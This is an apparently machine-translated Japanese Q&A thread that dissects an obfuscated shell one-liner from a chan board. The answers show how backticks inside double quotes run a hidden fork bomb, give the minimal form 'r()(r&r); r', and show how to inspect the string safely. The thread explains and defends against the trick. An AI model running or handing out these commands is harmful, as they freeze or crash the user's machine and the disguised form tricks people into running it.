ランダムチャンボードで発見
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
どういうわけか、これを実行すると、無限に産卵するプロセスが暴走してマシンを停止させてしまいます。su” が何度も実行されようとしているのが見えます
…それは奇妙です、私は何かの実行ではなく、テキストが出力されることを期待していたので
このテキストをオンラインデコーダで実行すると バイナリが噴出します
このごちゃごちゃしたテキストは実際に何をしているのか、「安全に」見る方法はあるのか?
133 Mikey T.K. 2015-11-06
まずはコマンド全体を見てみましょう
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
これには、uudecode
にエコーされるダブルクォート文字列が含まれています。しかし、二重引用符で囲まれた文字列の中には、バッククォートされた文字列が含まれていることに注意してください。この文字列は実行されます。この文字列は
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
中身を見てみると、3つのコマンドがあります
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
中央のコマンドでブレース展開を行うと、我々は持っています
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
1行目はバックグラウンドで無意味なコマンドを実行しようとします。これは重要ではありません
二行目は重要です: これは関数 r
を定義しています。それぞれのコピーは、もちろん、さらに2つのコピーを起動します。といった具合です
3行目はr
を実行し、フォーク爆弾を開始します
バッククォートされた文字列以外の残りのコードは、難読化のためのナンセンスです
コマンドを安全に実行する方法
このコードは、関数の入れ子レベルの制限を設定しておけば安全に実行できます。これはbashの変数FUNCNEST
で行うことができます。ここでは 2
に設定して、再帰を停止しています
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
上記のエラーメッセージは、(a)ナンセンスコマンド rYWdl
と Y29j
が見つからないこと、(b)フォーク爆弾は FUNCNEST によって繰り返し停止されること、(c) echo
の出力は begin
で始まらず、結果として uudecode
の有効な入力ではないことを示しています
一番シンプルな形のフォーク爆弾
オブスキュレーションを除去した場合、フォーク爆弾はどのように見えるでしょうか?njzk2さんやgerritさんが提案しているように、次のようになります
echo "`r()(r&r);r`"
それをさらに単純化することができます
r()(r&r); r
それは2つのステートメントから構成されています:1つはフォーク爆弾関数r
を定義し、2つ目はr
を実行します
uudecode
へのパイプを含む他のすべてのコードは、不明瞭化と誤誘導のためだけに存在していました
元のフォームには、さらに別の層のミスディレクションがありました
OPは、a linkで、このコードが登場したchann board discussionへのリンクを提供しています。そこに提示されているように、コードは次のように見えました
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
このコードについての最初のコメントの一つに注目してください
私はそれに引っかかった。エコーとデコードする部分だけをコピーしたが、それでもフォークボムされた
channボードのフォームでは、問題はeval
文がuudecode
の出力で動作していることではないかと素朴に考えるでしょう。これは、eval
を削除すれば問題が解決すると考えることになります。上で見たように、これは誤りであり、危険です
196 John1024 2015-11-06
ご質問の第二部にお答えします
…それを「安全に」見る方法はありますか?
この文字列を回避するには、外側の二重引用符を一重引用符に置き換え、文字列内にある一重引用符をエスケープします。このようにすると、シェルは何もコードを実行せず、実際にはすべてを uudecode
に直接渡すことになります
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line
その他の代替案はコメントに記載されています
kasperd suggest 示唆された
$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Jacob Krall は、テキストエディタを使って内容を貼り付け、そのファイルを uudecode に渡すことを提案しました
10 gerrit 2015-11-06
一見すると、シェルへの出力は実行されないと思うかもしれません。しかし、これはまだ本当のことです。問題はすでに入力にあります。ここでの主なトリックは、プログラマが 演算子の優先順位 と呼んでいるものです。これはシェルが入力を処理しようとする順番です
1. " "
2. rYWdl
3. &
4. r()(Y29j&r{,3Rl7Ig}&r{,T31wo})
5. ;
6. r
7. ` `
8. I<RA('1E<W3t 26<F]F;==
9. echo
10. |
11. uudecode
- その中にあるすべてのバックティックコマンドを実行して、文字列を合成します
- 通常は未知のコマンドで、次のような出力が発生します。 ‘rYWdl’ がタイプミスでない場合は、 command-not-found を使ってそれを含むパッケージを探すことができます … (システムに依存します)
- 2.をバックグラウンドで実行します。出力が表示されることはありません
- フォークボム関数を定義します
- Command separator.
- フォーク爆弾を実行します
- 6.の結果をStringに挿入します。(ここには絶対に来ない)
echo
が最初に実行されるコマンドで、uudecode
が2番目に実行されると考えるのが間違いです。どちらにも到達することはありません
結論から言うと二重引用符はシェル上では常に危険です
5 Matthias Ronge 2015-11-11